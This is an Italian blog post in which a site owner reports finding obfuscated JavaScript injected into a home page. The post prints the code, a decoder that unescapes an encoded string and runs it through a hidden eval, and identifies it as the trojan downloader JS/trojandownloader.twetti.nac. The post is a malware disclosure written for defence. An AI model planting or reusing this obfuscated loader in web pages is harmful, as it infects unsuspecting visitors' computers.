Recentemente, su uno dei siti che ho realizzato e che gestisco ho trovato il seguente codice javascrip presente all’interno della home page (ho provato a sistemarlo in modo da renderlo più leggibile):

<scrip language="javascrip">

var kasbd3412 = "";

$$ = function () {

try {

kasbd3412= $$dfsd(gnflseejrr());

kasbd3412.do();

}

catch(e) {

var bn = "";

return kasbd3412;

}

};

var adlan3r$oubw = "e";

$$dfsd =  this['a'+'s'+'d'];

var adlan3r$ouaw = "a";

function asd(df_){

this['r']="";

var s = df_;

for(__fh=0;this['__fh']<s['l'+adlan3r$oubw+'ng'+'t'+'h'];__fh++ ) {

i=__fh;

if(s['ch'+adlan3r$ouaw +'rA'+'t'](i)=='Z') {

this[neAR_DEF_FGEvftDSyTtnSoh_1]='%'}

else {

this[neAR_DEF_FGEvftDSyTtnSoh_1]=s['ch'+'ar'+'At'](this['i'])

}

this['r']=r+VAR_EZJrWcTGuhPYZJj(this,neAR_DEF_FGEvftDSyTtnSoh_1)

}

return this['unesc'+adlan3r$ouaw + 'p'+adlan3r$oubw](r)

}

var ez=window
VAR_AiCzwbiiMdphDXs=(function(VAR_JMFILTCeLQNWkAf,VAR_gqWQtFFAsjjtVqK){return VAR_JMFILTCeLQNWkAf[VAR_gqWQtFFAsjjtVqK];});


VAR_EZJrWcTGuhPYZJj=(function(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF){return VAR_AiCzwbiiMdphDXs(VAR_wiSIHKenjOMRPsE,VAR_SfXtSSNCWJXwgQF);});

function gnflseejrr() {

return $a

}

var neAR_DEF_FGEvftDSyTtnSoh_1='s'+'1';

BKbk34b32='Z63aZ3dZ22Z2566unZ2563tioZ256e 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var $a = BKbk34b32.replace(/98/g, "Z");

ez[String.fromCharCode(101,118,97)+'l']($$())

</scrip>

Trattasi sicuramente di un trojan che mediante del codice lato client prova ad infettare il PC dell’ignaro visitatore. In particolare, l’antivirus segnala il seguente codice malicious: JS/trojandownloader.twetti.nac

Nei prossimi giorni procederò con l’analisi e la deoffuscamento del codice, stay tuned.